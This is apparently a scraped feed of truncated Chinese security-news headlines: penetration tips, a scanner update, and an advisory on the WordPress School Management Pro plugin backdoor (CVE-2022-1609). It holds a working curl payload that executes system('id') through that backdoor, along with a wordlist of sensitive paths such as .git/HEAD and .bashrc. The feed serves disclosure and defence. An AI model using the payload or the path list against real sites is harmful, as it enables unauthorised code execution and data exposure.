$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'...
Twitter渗透技巧搬运工(三)
字典Tips /.git/HEAD/.git/logs/HEAD/.import//.bashrc/admin-cgi/admin-console/backup//console//console/l...
知道创宇云监测—ScanV更新:Atlassian Confluence 远程代码执行等8个漏洞可检测
本次更新ScanV漏洞检测插件特征库至版本:20220604新增漏洞检测插件8个,优化历史插件3个新增漏洞检测插件:1. Atlassian Confluence 远程代码执行漏洞(CVE-2022-...
【风险通告】WordPress School Management Pro插件后门漏洞(CVE-2022-1609)
0x00 风险概述2022年5月20日,WordPress插件School Management Pro被披露存在一个可执行任意PHP代码的后门漏洞(CVE-2022-1609),其CVSS评分为10...